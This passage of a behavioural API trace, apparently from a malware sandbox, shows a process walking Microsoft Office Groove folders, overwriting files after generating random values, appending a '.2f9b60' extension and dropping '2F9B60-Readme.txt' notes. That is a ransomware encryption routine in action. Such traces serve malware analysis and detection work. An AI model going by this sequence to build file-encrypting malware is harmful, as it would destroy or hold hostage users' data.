lpNumberOfBytesRead=0x21bafb68*=0x4, lpOverlapped=0x0) returned 1 [0226.565] SetFilePointerEx (in: hFile=0x2a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aadd0 [0226.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaf20 [0226.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0226.566] NtQuerySystemTime (in: CurrentTime=0x21bafa60 | out: CurrentTime=0x21bafa60*=132462178305598000) returned 0x0 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x4eb2278 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x5f55d18d [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0xbf0cf21 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7f304862 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7c0ea8d8 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0xe9ae8ce [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x2a515011 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0xd25c659 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x3997a3e8 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x4691185b [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7ca89b07 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0xc2411f4 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x17cb5a2b [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x40fbe7c3 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x1d5e22a4 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x46fc3ef8 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x4a3a4b8f [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x42623343 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x3251c4a5 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6f619037 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x310c1fa2 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x19cf4365 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x15a44c20 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x550f61a0 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x5c28511b [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x3ed1576c [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6ca311d4 [0226.566] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6269cb9d [0226.567] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x50409240 [0226.567] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x62eab43b [0226.567] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x382170e8 [0226.567] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x46856001 [0226.567] ReadFile (in: hFile=0x2a70, lpBuffer=0x41cea520, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x21bafa50, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesRead=0x21bafa50*=0x838, lpOverlapped=0x0) returned 1 [0226.568] SetFilePointerEx (in: hFile=0x2a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.568] WriteFile (in: hFile=0x2a70, lpBuffer=0x41ce2d00*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x21bafa54, lpOverlapped=0x0 | out: lpBuffer=0x41ce2d00*, lpNumberOfBytesWritten=0x21bafa54*=0x838, lpOverlapped=0x0) returned 1 [0227.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaef0 [0227.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aadd0 [0227.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aadd0) returned 1 [0227.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce2d00) returned 1 [0227.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cea520) returned 1 [0227.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0227.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0227.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa220 [0227.068] SetFilePointerEx (in: hFile=0x2a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0227.068] WriteFile (in: hFile=0x2a70, lpBuffer=0x42c21130*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x21bafb70, lpOverlapped=0x0 | out: lpBuffer=0x42c21130*, lpNumberOfBytesWritten=0x21bafb70*=0x11a, lpOverlapped=0x0) returned 1 [0235.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21130) returned 1 [0235.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aad20) returned 1 [0235.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aadd0) returned 1 [0235.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa220) returned 1 [0235.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaef0) returned 1 [0235.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaf20) returned 1 [0235.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab8b0) returned 1 [0235.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab730) returned 1 [0235.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776af0 [0235.134] wcscpy (in: _Dest=0x1b776af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" [0235.134] wcscat (in: _Dest=0x1b776af0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.2f9b60" [0235.134] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.2f9b60", NtPathName=0x21bafb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b78f680 [0236.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f680) returned 1 [0236.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43206460) returned 1 [0236.668] NtQueryInformationFile (in: FileHandle=0x2a70, IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08) returned 0x0 [0236.668] NtSetInformationFile (FileHandle=0x2a70, IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0236.953] FlushFileBuffers (hFile=0x2a70) returned 1 [0238.190] CloseHandle (hObject=0x2a70) returned 1 [0240.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4310df80 [0240.517] wcscpy (in: _Dest=0x4310df80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" [0240.517] wcscat (in: _Dest=0x4310df80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt" [0240.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\2f9b60-readme.txt")) returned 0x20 [0240.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310df80) returned 1 [0240.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0240.518] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 0 [0240.518] FindClose (in: hFindFile=0x1cd9d8b0 | out: hFindFile=0x1cd9d8b0) returned 1 [0240.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0240.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431099b0) returned 1 [0240.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 Thread: id = 3683 os_tid = 0xa8c [0218.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43109a60 [0218.320] wcscpy (in: _Dest=0x43109a60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" [0218.320] wcscat (in: _Dest=0x43109a60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\" [0218.320] wcscat (in: _Dest=0x43109a60, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*" [0218.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0218.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0219.857] wcscmp (_String1=".", _String2=".") returned 0 [0219.857] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.857] wcscmp (_String1="..", _String2=".") returned 1 [0219.857] wcscmp (_String1="..", _String2="..") returned 0 [0219.857] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0219.857] wcscmp (_String1="DiscussionToolIconImages.jpg", _String2=".") returned 1 [0219.857] wcscmp (_String1="DiscussionToolIconImages.jpg", _String2="..") returned 1 [0219.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799610 [0219.858] wcscpy (in: _Dest=0x1b799610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" [0219.858] wcscat (in: _Dest=0x1b799610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\" [0219.858] wcscat (in: _Dest=0x1b799610, _Source="DiscussionToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" [0219.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg")) returned 0x20 [0219.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0220.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x327c [0220.036] GetFileSizeEx (in: hFile=0x327c, lpFileSize=0x2c5df9a0 | out: lpFileSize=0x2c5df9a0*=14652) returned 1 [0220.036] SetFilePointerEx (in: hFile=0x327c, liDistanceToMove=0x3938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.036] ReadFile (in: hFile=0x327c, lpBuffer=0x2c5df920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5df968, lpOverlapped=0x0 | out: lpBuffer=0x2c5df920*, lpNumberOfBytesRead=0x2c5df968*=0x4, lpOverlapped=0x0) returned 1 [0221.064] SetFilePointerEx (in: hFile=0x327c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0221.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0221.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0221.066] NtQuerySystemTime (in: CurrentTime=0x2c5df860 | out: CurrentTime=0x2c5df860*=132462178250530000) returned 0x0 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x572ef885 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x3334ecf7 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x2f4a98ce [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x7a24b333 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x63d2c319 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0xc237519 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x24ce4875 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x6ee340af [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x25e868d6 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x2d13ecc9 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x5750048 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x7aee2b67 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x56e61197 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x71c1cc65 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x669f6b41 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x798292b7 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x53ead118 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x3f535d09 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x5940958 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x5a58a158 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x310126b4 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x49a88a47 [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x57728d2c [0221.066] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x3fa582ca [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x25dbac40 [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0xdeb4715 [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x5f8cd69f [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x46cd1be9 [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x6f0e2880 [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x492e587c [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x65ccd87 [0221.067] RtlRandomEx (in: Seed=0x2c5df850 | out: Seed=0x2c5df850) returned 0x62411049 [0221.077] ReadFile (in: hFile=0x327c, lpBuffer=0x4241b5c0, nNumberOfBytesToRead=0x393c, lpNumberOfBytesRead=0x2c5df850, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesRead=0x2c5df850*=0x393c, lpOverlapped=0x0) returned 1 [0221.540] SetFilePointerEx (in: hFile=0x327c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.540] WriteFile (in: hFile=0x327c, lpBuffer=0x4241f1d0*, nNumberOfBytesToWrite=0x393c, lpNumberOfBytesWritten=0x2c5df854, lpOverlapped=0x0 | out: lpBuffer=0x4241f1d0*, lpNumberOfBytesWritten=0x2c5df854*=0x393c, lpOverlapped=0x0) returned 1 [0223.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdae0 [0223.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0223.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0223.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241f1d0) returned 1 [0223.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0223.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce62370 [0223.167] SetFilePointerEx (in: hFile=0x327c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.168] WriteFile (in: hFile=0x327c, lpBuffer=0x188d50*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2c5df970, lpOverlapped=0x0 | out: lpBuffer=0x188d50*, lpNumberOfBytesWritten=0x2c5df970*=0x12a, lpOverlapped=0x0) returned 1 [0225.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188d50) returned 1 [0225.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0225.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0225.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0225.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdae0) returned 1 [0225.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0225.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a570) returned 1 [0225.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0225.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e280 [0225.015] wcscpy (in: _Dest=0x1b78e280, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" [0225.015] wcscat (in: _Dest=0x1b78e280, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.2f9b60" [0225.015] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.2f9b60", NtPathName=0x2c5df990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431a8e90 [0225.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a8e90) returned 1 [0225.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a6f50) returned 1 [0225.455] NtQueryInformationFile (in: FileHandle=0x327c, IoStatusBlock=0x2c5df9f8, FileInformation=0x2c5dfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c5df9f8, FileInformation=0x2c5dfa08) returned 0x0 [0225.455] NtSetInformationFile (FileHandle=0x327c, IoStatusBlock=0x2c5df9f8, FileInformation=0x2c5dfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 [0225.951] FlushFileBuffers (hFile=0x327c) returned 1 [0226.110] CloseHandle (hObject=0x327c) returned 1 [0226.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4310c530 [0226.416] wcscpy (in: _Dest=0x4310c530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\" [0226.416] wcscat (in: _Dest=0x4310c530, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\2F9B60-Readme.txt" [0226.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\2f9b60-readme.txt")) returned 0xffffffff [0226.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b38 [0234.310] WriteFile (in: hFile=0x2b38, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2c5df8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, 